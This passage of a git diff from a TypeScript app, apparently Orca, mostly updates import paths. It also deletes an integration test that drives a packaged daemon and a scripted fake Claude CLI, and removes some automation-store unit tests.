a/src/main/orca-profiles/project-transfer/profile-project-retired-name-transfer.ts b/src/main/orca-profiles/project-transfer/profile-project-retired-name-transfer.ts index 82dbb86e05d..c6adc19d039 100644 --- a/src/main/orca-profiles/project-transfer/profile-project-retired-name-transfer.ts +++ b/src/main/orca-profiles/project-transfer/profile-project-retired-name-transfer.ts @@ -5,7 +5,7 @@ import { } from '../../../shared/worktree/naming/retired-name-registry' import { getRemoteRetirementNamespaceKey } from '../../workspaces/removal/retirement/worktree-name-retirement' import { retirementNamespaceKeysToRead } from '../../workspaces/removal/retirement/worktree-retirement-namespace' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' export function extractRetiredNameRegistriesByNamespace( sourceState: PersistedState, diff --git a/src/main/orca-profiles/project-transfer/profile-project-session-state.ts b/src/main/orca-profiles/project-transfer/profile-project-session-state.ts index 09f71f3bea3..4db52fff298 100644 --- a/src/main/orca-profiles/project-transfer/profile-project-session-state.ts +++ b/src/main/orca-profiles/project-transfer/profile-project-session-state.ts @@ -1,5 +1,5 @@ -import { getDefaultWorkspaceSession } from '../../../shared/constants' -import type { ExecutionHostId } from '../../../shared/execution-host' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' import { parseWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' import { diff --git a/src/main/orca-profiles/project-transfer/profile-project-session-transfer.ts b/src/main/orca-profiles/project-transfer/profile-project-session-transfer.ts index ad42ad9b7de..b632d346fc6 100644 --- a/src/main/orca-profiles/project-transfer/profile-project-session-transfer.ts +++ b/src/main/orca-profiles/project-transfer/profile-project-session-transfer.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' import { rekeyOwnerKey, rekeyWorktreeId } from './profile-project-worktree-identity' import { diff --git a/src/main/orca-profiles/project-transfer/profile-project-source-removal.ts b/src/main/orca-profiles/project-transfer/profile-project-source-removal.ts index b3e5c820aa0..8c4e80fc21c 100644 --- a/src/main/orca-profiles/project-transfer/profile-project-source-removal.ts +++ b/src/main/orca-profiles/project-transfer/profile-project-source-removal.ts @@ -3,7 +3,7 @@ import { parseWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' import { rebuildRepoBackedProjectState } from './profile-project-state-file' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { removeRepoFromHostWorkspaceSessions, removeRepoFromWorkspaceSession diff --git a/src/main/orca-profiles/project-transfer/profile-project-state-file.ts b/src/main/orca-profiles/project-transfer/profile-project-state-file.ts index 0d3f5e09ac2..bd5ba503416 100644 --- a/src/main/orca-profiles/project-transfer/profile-project-state-file.ts +++ b/src/main/orca-profiles/project-transfer/profile-project-state-file.ts @@ -1,13 +1,16 @@ import { existsSync, readFileSync } from 'node:fs' import { homedir } from 'node:os' -import { getDefaultPersistedState, getDefaultWorkspaceSession } from '../../../shared/constants' +import { + getDefaultPersistedState, + getDefaultWorkspaceSession +} from '../../../shared/orca-profiles/constants' import { projectHostSetupProjectionFromRepos } from '../../../shared/project/host-setup/project-host-setup-projection' import { normalizeProjectHostSetupRows, normalizeProjectRows } from '../../../shared/project/catalog/project-catalog-row-normalization' import { carryProjectStateThroughIdentityChange } from '../../../shared/project/catalog/project-identity-succession' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { Project, ProjectHostSetup } from '../../../shared/project/project-types' import type { Repo } from '../../../shared/repository/repo-types' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' diff --git a/src/main/orca-profiles/project-transfer/profile-project-transfer-migration.test.ts b/src/main/orca-profiles/project-transfer/profile-project-transfer-migration.test.ts index 848b35e934a..5f845b44156 100644 --- a/src/main/orca-profiles/project-transfer/profile-project-transfer-migration.test.ts +++ b/src/main/orca-profiles/project-transfer/profile-project-transfer-migration.test.ts @@ -2,7 +2,7 @@ import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { getDefaultPersistedState } from '../../../shared/constants' +import { getDefaultPersistedState } from '../../../shared/orca-profiles/constants' import { ORCA_PROFILE_INDEX_SCHEMA_VERSION } from '../../../shared/orca-profiles/orca-profiles' import type { Repo } from '../../../shared/repository/repo-types' import * as profileStateDocuments from '../../persistence/profile-state/documents/profile-state-documents' diff --git a/src/main/orca-profiles/project-transfer/profile-project-transfer-payload.ts b/src/main/orca-profiles/project-transfer/profile-project-transfer-payload.ts index 9c81a7c1880..ad4d2bba18d 100644 --- a/src/main/orca-profiles/project-transfer/profile-project-transfer-payload.ts +++ b/src/main/orca-profiles/project-transfer/profile-project-transfer-payload.ts @@ -1,9 +1,12 @@ import { randomUUID } from 'node:crypto' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import { projectHostSetupProjectionFromRepos } from '../../../shared/project/host-setup/project-host-setup-projection' import type { SshTarget } from '../../../shared/remote-runtime/ssh/ssh-types' import type { WorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { Repo } from '../../../shared/repository/repo-types' import type { SparsePreset } from '../../../shared/worktree/create-types' import type { RetiredNameRegistry } from '../../../shared/worktree/naming/retired-name-registry' diff --git a/src/main/orca-profiles/project-transfer/profile-project-transfer-worktree-ids.ts b/src/main/orca-profiles/project-transfer/profile-project-transfer-worktree-ids.ts index 9aeaca32c1e..28b69dc22b5 100644 --- a/src/main/orca-profiles/project-transfer/profile-project-transfer-worktree-ids.ts +++ b/src/main/orca-profiles/project-transfer/profile-project-transfer-worktree-ids.ts @@ -1,4 +1,4 @@ -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { parseWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' import { isRepoWorktreeId } from './profile-project-worktree-identity' diff --git a/src/main/orca-profiles/project-transfer/profile-project-transfer.test.ts b/src/main/orca-profiles/project-transfer/profile-project-transfer.test.ts index e3366f2545e..ae7dec50b9b 100644 --- a/src/main/orca-profiles/project-transfer/profile-project-transfer.test.ts +++ b/src/main/orca-profiles/project-transfer/profile-project-transfer.test.ts @@ -2,12 +2,12 @@ import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync import { tmpdir } from 'node:os' import { join } from 'node:path' import { beforeEach, afterEach, describe, expect, it, vi } from 'vitest' -import { getDefaultPersistedState } from '../../../shared/constants' +import { getDefaultPersistedState } from '../../../shared/orca-profiles/constants' import { ORCA_PROFILE_INDEX_SCHEMA_VERSION, type OrcaProfileIndex } from '../../../shared/orca-profiles/orca-profiles' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { Repo } from '../../../shared/repository/repo-types' import { exportProfileStateJson, diff --git a/src/main/orca-profiles/project-transfer/profile-project-worktree-identity.ts b/src/main/orca-profiles/project-transfer/profile-project-worktree-identity.ts index d5cce12f121..631cbfe71aa 100644 --- a/src/main/orca-profiles/project-transfer/profile-project-worktree-identity.ts +++ b/src/main/orca-profiles/project-transfer/profile-project-worktree-identity.ts @@ -1,5 +1,5 @@ import { normalizeRuntimePathForComparison } from '../../../shared/file-access/cross-platform-path' -import { getRepoExecutionHostId } from '../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import { diff --git a/src/main/orca-profiles/project-transfer/profile-session-owner-transfer.ts b/src/main/orca-profiles/project-transfer/profile-session-owner-transfer.ts index 80e1c1fc215..f516033807c 100644 --- a/src/main/orca-profiles/project-transfer/profile-session-owner-transfer.ts +++ b/src/main/orca-profiles/project-transfer/profile-session-owner-transfer.ts @@ -1,4 +1,4 @@ -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' import type { SleepingAgentSessionRecord } from '../../../shared/agent-session/lifecycle/agent-session-resume' import type { BrowserPage, diff --git a/src/main/orca-profiles/storage/new-profile-state.ts b/src/main/orca-profiles/storage/new-profile-state.ts index ef25f8e888e..22d9748499c 100644 --- a/src/main/orca-profiles/storage/new-profile-state.ts +++ b/src/main/orca-profiles/storage/new-profile-state.ts @@ -1,7 +1,7 @@ import { existsSync } from 'node:fs' import { homedir } from 'node:os' -import { getDefaultPersistedState } from '../../../shared/constants' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import { getDefaultPersistedState } from '../../../shared/orca-profiles/constants' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { createInitialHomeWorkspaceState } from '../../persistence/loading-store/profile-loading/initial-home-workspace' import { LoadedCohortMigrationOperations } from '../../persistence/loading-store/profile-loading/loaded-cohort-migrations' import { acquireProfileStateRuntimeAdmission } from '../../persistence/profile-state/access/profile-state-access' diff --git a/src/main/orcad/account-launch/orcad-codex-account-homes.ts b/src/main/orcad/account-launch/orcad-codex-account-homes.ts index 4ddecf9c34e..b3adf42974c 100644 --- a/src/main/orcad/account-launch/orcad-codex-account-homes.ts +++ b/src/main/orcad/account-launch/orcad-codex-account-homes.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { isAgentStatusHooksEnabledForAgent } from '../../../shared/agent-hook-listener/configuration/agent-status-hooks-setting' import { listGuestCodexAccountHomes, diff --git a/src/main/orcad/host-runtime/orcad-session-search.ts b/src/main/orcad/host-runtime/orcad-session-search.ts index f463806ca0b..71b3237b8bc 100644 --- a/src/main/orcad/host-runtime/orcad-session-search.ts +++ b/src/main/orcad/host-runtime/orcad-session-search.ts @@ -1,10 +1,10 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' import { type AiVaultSearchSettings, resolveAiVaultSearchSettings } from '../../../shared/ai-vault/search/ai-vault-search-settings' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { localAiVaultScanRoots } from '../../ai-vault/discovery/ai-vault-scan-roots' import { installInProcessSessionSearchService } from '../../ai-vault-search/session-search-in-process-service' diff --git a/src/main/orcad/testing/structured-chat/orcad-packaged-structured-chat.integration.test.ts b/src/main/orcad/testing/structured-chat/orcad-packaged-structured-chat.integration.test.ts deleted file mode 100644 index e25d5893587..00000000000 --- a/src/main/orcad/testing/structured-chat/orcad-packaged-structured-chat.integration.test.ts +++ /dev/null @@ -1,357 +0,0 @@ -import { randomUUID } from 'node:crypto' -import { - chmodSync, - existsSync, - mkdirSync, - mkdtempSync, - readFileSync, - realpathSync, - writeFileSync -} from 'node:fs' -import { tmpdir } from 'node:os' -import { delimiter, dirname, join, resolve } from 'node:path' -import { afterEach, describe, expect, it, vi } from 'vitest' -import { z } from 'zod' -import { getDefaultPersistedState } from '../../../../shared/constants' -import { folderWorkspaceKey } from '../../../../shared/workspace/identity/workspace-scope' -import { spawnProcess } from '@orca/process-host' -import { computeAgentSessionPayloadFingerprint } from '../../../../shared/agent-session/lifecycle/operations/agent-session-mutation-envelope' -import type { AgentSessionSubscribeEvent } from '../../../../shared/agent-session/agent-session-wire' -import type { AgentJournalRenderItem } from '../../../../shared/agent-session/journal/agent-session-journal-types' -import { parsePairingCode } from '../../../../shared/remote-runtime/pairing/pairing' -import { - pairedRuntimeConnectionFromOffer, - type PairedRuntimeConnection -} from '../../../../shared/remote-runtime/pairing/paired-runtime-connection' -import { - AGENT_SESSION_TURN_ITEM_CAPABILITY, - CLAUDE_STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY, - STRUCTURED_AGENT_SESSION_CLIENT_LAUNCH_MODE_CAPABILITY, - STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY -} from '../../../../shared/agent-session/agent-session-runtime-capabilities' -import { sendRemoteRuntimeRequestOnSocket } from '../../../../shared/remote-runtime/requests/remote-runtime-request-socket' -import { subscribeRemoteRuntimeTransport } from '../../../../shared/remote-runtime/requests/remote-runtime-subscription-transport' -import type { RemoteRuntimeTransportSubscription } from '../../../../shared/remote-runtime/requests/remote-runtime-subscription-contract' -import { claudeSessionIdForOrcaSession } from '../../../claude/structured/claude-structured-session-id' -import { quotePosixShell } from '../../../../shared/shell/launch/shell-argument-quoting' -import { materializeOrcadArtifact } from '../../artifact-slots/orcad-artifact-materializer' -import { - hostServerTarget, - installPackagedOrcadSlotForTests, - locatePinnedNodeForTests, - skipForMissingInputs -} from '../native-slots/orcad-node-slot-fixture' -import { - killChildAndWait, - killProfileDaemons, - removeTestRoot -} from '../daemon-processes/orcad-daemon-teardown-fixture' -import { packagedClaudeChatScenario } from './orcad-structured-chat-scenario' - -const pinnedNode = locatePinnedNodeForTests() -const templateDir = process.env.ORCA_ORCAD_TEMPLATE_PATH ?? resolve('out/orcad-template') -const missing = [ - ...(!pinnedNode ? ['a pinned Node runtime'] : []), - ...(!existsSync(templateDir) ? [templateDir] : []) -] -const skip = skipForMissingInputs('artifact', missing) -const capabilities = [ - STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY, - CLAUDE_STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY, - STRUCTURED_AGENT_SESSION_CLIENT_LAUNCH_MODE_CAPABILITY, - AGENT_SESSION_TURN_ITEM_CAPABILITY -] -const Ready = z.object({ - pairing: z.object({ available: z.literal(true), url: z.string() }) -}) -const ChildReport = z.object({ - argv: z.array(z.string()), - execPath: z.string(), - cwd: z.string(), - env: z.record(z.string(), z.string()), - userMessages: z.array(z.object({ message: z.object({ content: z.unknown() }) })) -}) - -const roots: string[] = [] -afterEach(async () => { - for (const root of roots.splice(0)) { - await killProfileDaemons(join(root, 'data')) - await removeTestRoot(root) - } -}) - -function launch(slotDir: string, runtime: string, userData: string, home: string) { - const child = spawnProcess({ - program: runtime, - args: [join(slotDir, 'orcad.js'), '--bind', '127.0.0.1', '--port', '0', '--json'], - cwd: home, - env: { - HOME: home, - CODEX_HOME: join(home, '.codex'), - CLAUDE_CONFIG_DIR: join(home, '.claude'), - XDG_CONFIG_HOME: join(home, '.config'), - XDG_DATA_HOME: join(home, '.local', 'share'), - PATH: [dirname(userData), dirname(runtime), '/usr/bin', '/bin'].join(delimiter), - SHELL: '/bin/sh', - LANG: 'en_US.UTF-8', - ORCA_BACKGROUND_LAUNCH: '1', - ORCA_DISABLE_MACOS_LOGIN_SHELL: '1', - ORCA_USER_DATA: userData - }, - timeoutMs: null - }) - let output = '' - let stderr = '' - child.stderr.on('data', (data: Buffer) => (stderr += data.toString())) - const ready = new Promise((resolveReady, reject) => { - const timer = setTimeout(() => reject(new Error(`No server readiness: ${stderr}`)), 30_000) - child.once('error', (error) => { - clearTimeout(timer) - reject(error) - }) - child.once('exit', (code) => { - clearTimeout(timer) - reject(new Error(`Server exited ${code}: ${stderr}`)) - }) - child.stdout.on('data', (data: Buffer) => { - output += data.toString() - if (!output.includes('\n')) { - return - } - clearTimeout(timer) - try { - const parsed = Ready.parse(JSON.parse(output.split('\n')[0]!)) - const pairing = parsePairingCode(parsed.pairing.url) - if (!pairing) { - throw new Error('Invalid server pairing offer') - } - resolveReady(pairedRuntimeConnectionFromOffer(pairing)) - } catch (error) { - reject(error) - } - }) - }) - return { child, ready, stderr: () => stderr } -} - -async function call( - pairing: PairedRuntimeConnection, - method: string, - params: unknown -): Promise { - const response = await sendRemoteRuntimeRequestOnSocket( - pairing, - method, - params, - 20_000, - undefined, - undefined, - undefined, - capabilities, - undefined, - undefined - ) - if (!response.ok) { - throw new Error(`${method}: ${JSON.stringify(response.error)}`) - } - return response.result -} - -function envelope( - sessionId: string, - method: string, - fields: Record, - fence: number | null -) { - return { - sessionId, - clientOperationId: `${Date.now()}-${randomUUID().replaceAll('-', '')}`, - expectedRuntimeFence: fence, - payloadFingerprint: computeAgentSessionPayloadFingerprint({ method, sessionId, fields }) - } -} - -describe.skipIf(skip || process.platform === 'win32')('packaged plain-Node structured chat', () => { - it('creates, streams and settles a Claude turn through the real paired RPC', async () => { - if (!pinnedNode) { - throw new Error('Missing pinned Node runtime') - } - const root = realpathSync( - mkdtempSync(join(process.platform === 'win32' ? tmpdir() : '/tmp', 'orca-chat-')) - ) - roots.push(root) - const home = join(root, 'home') - const userData = join(root, 'data') - mkdirSync(home) - mkdirSync(userData) - const materializedSlot = await materializeOrcadArtifact(hostServerTarget(), { - templateDir, - cacheRoot: join(root, 'artifacts') - }) - const { slotDir, runtime } = installPackagedOrcadSlotForTests( - root, - pinnedNode, - materializedSlot - ) - const script = join(root, 'claude-scripted.mjs') - const fakeCli = join(root, 'claude') - writeFileSync( - script, - readFileSync( - resolve('src/main/claude/__fixtures__/claude-agent-sdk-scripted-cli.mjs'), - 'utf8' - ) - ) - writeFileSync( - fakeCli, - `#!/bin/sh\nexec ${quotePosixShell(runtime)} ${quotePosixShell(script)} "$@"\n` - ) - chmodSync(fakeCli, 0o700) - const sessionId = randomUUID() - const scenarioPath = join(root, 'scenario.json') - const reportPath = join(root, 'provider-report.json') - const partialReplyAckPath = join(root, 'partial-reply-observed') - writeFileSync( - scenarioPath, - JSON.stringify( - packagedClaudeChatScenario(claudeSessionIdForOrcaSession(sessionId), partialReplyAckPath) - ) - ) - const state = getDefaultPersistedState(home) - state.settings = { - ...state.settings, - agentStatusHooksEnabled: false, - nativeChatInheritShellEnvironment: false, - agentCmdOverrides: { claude: fakeCli }, - agentDefaultEnv: { - claude: { - CLAUDE_CONFIG_DIR: join(home, 'claude-config'), - ORCA_SDK_CONTRACT_SCENARIO_PATH: scenarioPath, - ORCA_SDK_CONTRACT_REPORT_PATH: reportPath - } - } - } - writeFileSync(join(userData, 'orca-data.json'), JSON.stringify(state)) - const server = launch(slotDir, runtime, userData, home) - let subscription: RemoteRuntimeTransportSubscription | undefined - try { - const pairing = await server.ready - const group = await call<{ group: { id: string } }>(pairing, 'projectGroup.create', { - name: 'Test folder' - }) - const folder = await call<{ folderWorkspace: { id: string } }>( - pairing, - 'folderWorkspace.create', - { - projectGroupId: group.group.id, - folderPath: home, - name: 'Chat test' - } - ) - const fields = { worktree: folderWorkspaceKey(folder.folderWorkspace.id), agent: 'claude' } - const created = await call(pairing, 'agentSession.create', { - ...fields, - envelope: envelope(sessionId, 'agentSession.create', fields, null) - }) - expect(created, server.stderr()).toMatchObject({ ok: true }) - const { - value: { fence } - } = z.object({ ok: z.literal(true), value: z.object({ fence: z.number() }) }).parse(created) - const items = new Map() - const observedText: string[] = [] - const errors: Error[] = [] - subscription = await subscribeRemoteRuntimeTransport( - pairing, - 'agentSession.subscribe', - { sessionId }, - 20_000, - { - onResponse(response) { - if (!response.ok) { - errors.push(new Error(JSON.stringify(response.error))) - return - } - const event = response.result - const rows = - event.type === 'batch' - ? event.batch.items - : event.type === 'snapshot' || event.type === 'reset' - ? event.page.items - : [] - for (const row of rows) { - items.set(row.itemId, row) - if (row.body?.kind === 'message' && row.body.role === 'assistant') { - observedText.push( - row.body.blocks.map((block) => (block.type === 'text' ? block.text : '')).join('') - ) - if (observedText.at(-1) === 'Packaged server ') { - writeFileSync(partialReplyAckPath, '') - } - } - } - }, - onError: (error) => errors.push(error) - }, - { clientCapabilities: capabilities } - ) - const body = { - kind: 'message', - role: 'user', - blocks: [{ type: 'text', text: 'Hello packaged server' }] - } - expect( - await call(pairing, 'agentSession.send', { - body, - envelope: envelope(sessionId, 'agentSession.send', { body }, fence) - }), - server.stderr() - ).toMatchObject({ ok: true }) - await vi.waitFor( - () => { - expect(errors).toEqual([]) - expect(observedText).toContain('Packaged server ') - expect(observedText).toContain('Packaged server reply.') - expect([...items.values()].find((row) => row.body?.kind === 'turn')?.body).toMatchObject({ - state: 'completed', - outcome: 'success' - }) - }, - { timeout: 15_000 } - ) - const report = ChildReport.parse(JSON.parse(readFileSync(reportPath, 'utf8'))) - expect(report.argv[0]).toBe(script) - expect(report.argv).toEqual( - expect.arrayContaining([ - '--input-format', - 'stream-json', - '--output-format', - '--include-partial-messages', - '--replay-user-messages', - '--permission-prompt-tool=stdio', - `--session-id=${claudeSessionIdForOrcaSession(sessionId)}`, - '--setting-sources=user,project,local', - '--dangerously-skip-permissions' - ]) - ) - expect(report.execPath).toBe(runtime) - expect(report.cwd).toBe(home) - expect(report.env).toMatchObject({ - HOME: home, - ORCA_AGENT_SESSION_ID: sessionId, - ORCA_STRUCTURED_SESSION: '1', - ORCA_USER_DATA_PATH: userData, - ORCA_SDK_CONTRACT_SCENARIO_PATH: scenarioPath, - ORCA_SDK_CONTRACT_REPORT_PATH: reportPath - }) - expect(report.env.CLAUDE_CONFIG_DIR).toBe(join(home, 'claude-config')) - expect(report.env).not.toHaveProperty('ORCA_PANE_KEY') - expect(report.userMessages).toHaveLength(1) - expect(report.userMessages[0]?.message.content).toEqual([ - { type: 'text', text: 'Hello packaged server' } - ]) - } finally { - subscription?.close() - await killChildAndWait(server.child) - } - }, 90_000) -}) diff --git a/src/main/persistence/__fixtures__/wsl-mover/wsl-move-driver-world.ts b/src/main/persistence/__fixtures__/wsl-mover/wsl-move-driver-world.ts index ccff34c404b..18aaa1a1891 100644 --- a/src/main/persistence/__fixtures__/wsl-mover/wsl-move-driver-world.ts +++ b/src/main/persistence/__fixtures__/wsl-mover/wsl-move-driver-world.ts @@ -17,7 +17,7 @@ import { ORCAD_MIGRATION_BLOB_CHANNEL_RUNTIME_CAPABILITY, ORCAD_MIGRATION_LOCAL_WSL_SOURCE_RUNTIME_CAPABILITY } from '../../../../shared/remote-runtime/protocol/orcad-runtime-capabilities' -import { getDefaultPersistedState } from '../../../../shared/constants' +import { getDefaultPersistedState } from '../../../../shared/orca-profiles/constants' import { terminalTab } from './wsl-mover-profile-rows' import type { Repo } from '../../../../shared/repository/repo-types' import type { WslMoveProgressEvent } from '../../../../shared/wsl-move/wsl-move-driver-types' diff --git a/src/main/persistence/__fixtures__/wsl-mover/wsl-move-round-trip-stores.ts b/src/main/persistence/__fixtures__/wsl-mover/wsl-move-round-trip-stores.ts index 98b09e05a0d..0c1df1c0e95 100644 --- a/src/main/persistence/__fixtures__/wsl-mover/wsl-move-round-trip-stores.ts +++ b/src/main/persistence/__fixtures__/wsl-mover/wsl-move-round-trip-stores.ts @@ -3,7 +3,7 @@ * data file at creation, so the shared test directory only has to point at it while it opens. */ import { join } from 'node:path' -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import { createStore, readPersistedStateJson, diff --git a/src/main/persistence/applying-settings/default-on-migration-guards.ts b/src/main/persistence/applying-settings/default-on-migration-guards.ts index 681f40e96f8..ee4a8f0f819 100644 --- a/src/main/persistence/applying-settings/default-on-migration-guards.ts +++ b/src/main/persistence/applying-settings/default-on-migration-guards.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' // Each setting whose default flipped once, paired with its one-shot migration guard. const DEFAULT_ON_MIGRATION_GUARDS = [ diff --git a/src/main/persistence/applying-settings/feature-interaction-recording.ts b/src/main/persistence/applying-settings/feature-interaction-recording.ts index b9f740fe17f..d303aea3e2a 100644 --- a/src/main/persistence/applying-settings/feature-interaction-recording.ts +++ b/src/main/persistence/applying-settings/feature-interaction-recording.ts @@ -1,4 +1,4 @@ -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { compareFeatureInteractionUsageBuckets, getFeatureInteractionUsageBucket diff --git a/src/main/persistence/applying-settings/legacy-chat-permission-write.ts b/src/main/persistence/applying-settings/legacy-chat-permission-write.ts index 342332d702e..f0b975ee656 100644 --- a/src/main/persistence/applying-settings/legacy-chat-permission-write.ts +++ b/src/main/persistence/applying-settings/legacy-chat-permission-write.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { isAgentChatPermissionMode, publishedLegacyChatPermissionMode diff --git a/src/main/persistence/applying-settings/onboarding-normalization.ts b/src/main/persistence/applying-settings/onboarding-normalization.ts index eac48de5847..6e5272c9f0e 100644 --- a/src/main/persistence/applying-settings/onboarding-normalization.ts +++ b/src/main/persistence/applying-settings/onboarding-normalization.ts @@ -4,9 +4,9 @@ import type { OnboardingState } from '../../../shared/onboarding/onboarding-state-types' import type { NotificationSettings } from '../../../shared/notifications/notification-settings-types' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { getDefaultNotificationSettings } from '../../../shared/notifications/notification-settings-defaults' -import { normalizeVisibleExecutionHostIds } from '../../../shared/execution-host' +import { normalizeVisibleExecutionHostIds } from '../../../shared/execution-host/execution-host' import { getDefaultOnboardingState, ONBOARDING_FINAL_STEP, diff --git a/src/main/persistence/applying-settings/persistence-automations.test.ts b/src/main/persistence/applying-settings/persistence-automations.test.ts index c112bceef4c..0753642fa29 100644 --- a/src/main/persistence/applying-settings/persistence-automations.test.ts +++ b/src/main/persistence/applying-settings/persistence-automations.test.ts @@ -3,8 +3,8 @@ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' import { rmSync, mkdtempSync } from 'node:fs' import { join } from 'node:path' import { tmpdir } from 'node:os' -import { toRuntimeExecutionHostId, toSshExecutionHostId } from '../../../shared/execution-host' -import { hostWorktreeTarget } from '../../../shared/worktree/host-qualified-identity' +import { toRuntimeExecutionHostId } from '../../../shared/execution-host/execution-host' +import '../../../shared/worktree/host-qualified-identity' const { loadUserSshConfigMock, sshConfigHostsToTargetsMock } = vi.hoisted(() => ({ loadUserSshConfigMock: vi.fn(), @@ -80,46 +80,6 @@ describe('Store', () => { expect(store.listAutomations()).toHaveLength(1) }) - it('treats undefined update fields as omitted, never as explicit clears', async () => { - // Renderer patches can carry explicit undefined for untouched fields; only null clears them. - const store = await createStore() - store.addRepo(makeRepo({ upstream: { owner: 'stablyai', repo: 'orca' } })) - const automation = store.createAutomation({ - name: 'Nightly', - prompt: 'Run checks', - agentId: 'claude', - projectId: 'r1', - workspaceMode: 'new_per_run', - baseBranch: 'origin/release', - setupDecision: 'run', - precheck: { command: 'pnpm lint', timeoutSeconds: 30 }, - timezone: 'UTC', - rrule: 'FREQ=DAILY;BYHOUR=9;BYMINUTE=0', - dtstart: new Date('2026-05-13T00:00:00Z').getTime() - }) - - const updated = store.updateAutomation(automation.id, { - precheck: undefined, - runContext: undefined, - sourceContext: undefined, - baseBranch: undefined, - setupDecision: undefined - }) - - expect(updated.precheck).toEqual(automation.precheck) - expect(updated.runContext).toEqual(automation.runContext) - expect(updated.sourceContext).toEqual(automation.sourceContext) - expect(updated.baseBranch).toBe('origin/release') - expect(updated.setupDecision).toBe('run') - expect(store.updateAutomation(automation.id, { baseBranch: null }).baseBranch).toBeNull() - - const existing = store.updateAutomation(automation.id, { - workspaceMode: 'existing', - workspaceId: 'wt1' - }) - expect(store.updateAutomation(existing.id, { workspaceId: undefined }).workspaceId).toBe('wt1') - }) - it('applies a batch of updates, reporting a missing row without blocking the rest', async () => { const store = await createStore() store.addRepo(makeRepo()) @@ -156,47 +116,6 @@ describe('Store', () => { expect(store.automationEnablementRevision(c.id)).toBe(0) }) - it('writes the same record from a batch as from a single update', async () => { - vi.useFakeTimers({ now: new Date('2026-06-01T00:00:00Z'), toFake: ['Date'] }) - try { - const store = await createStore() - store.addRepo(makeRepo()) - const createdBy = { kind: 'plugin', pluginKey: 'p', name: 'P' } as const - const create = () => - store.createAutomation({ - name: 'Same', - prompt: 'Run checks', - agentId: 'claude', - projectId: 'r1', - workspaceMode: 'new_per_run', - timezone: 'UTC', - rrule: 'FREQ=DAILY;BYHOUR=9;BYMINUTE=0', - dtstart: new Date('2026-05-13T00:00:00Z').getTime(), - createdBy - }) - const [single, batched] = [create(), create()] - vi.setSystemTime(new Date('2026-06-02T00:00:00Z')) - const updates = { enabled: false, createdBy: { ...createdBy, endedAt: 42 } } - - const fromSingle = store.updateAutomation(single.id, updates) - const [fromBatch] = store.updateAutomations([{ id: batched.id, updates }]) - - const { id: _singleId, ...expected } = fromSingle - expect('automation' in fromBatch && fromBatch.automation).toEqual({ - ...expected, - id: batched.id - }) - const stored = store.listAutomations() - const { id: _storedSingleId, ...storedSingle } = stored[0] - expect(stored[1]).toEqual({ ...storedSingle, id: batched.id }) - expect(store.automationEnablementRevision(batched.id)).toBe( - store.automationEnablementRevision(single.id) - ) - } finally { - vi.useRealTimers() - } - }) - it('stores its own contexts over a client-perspective create runContext', async () => { const store = await createStore() store.addRepo(makeRepo({ upstream: { owner: 'stablyai', repo: 'orca' } })) @@ -225,32 +144,6 @@ describe('Store', () => { expect(store.listAutomationsForScope().items[0]?.selector).toEqual({ kind: 'self' }) }) - it("deleting an SSH twin's workspace leaves the local twin's run label", async () => { - const store = await createStore() - store.addRepo(makeRepo()) - const automation = store.createAutomation({ - name: 'Nightly', - prompt: 'Run checks', - agentId: 'claude', - projectId: 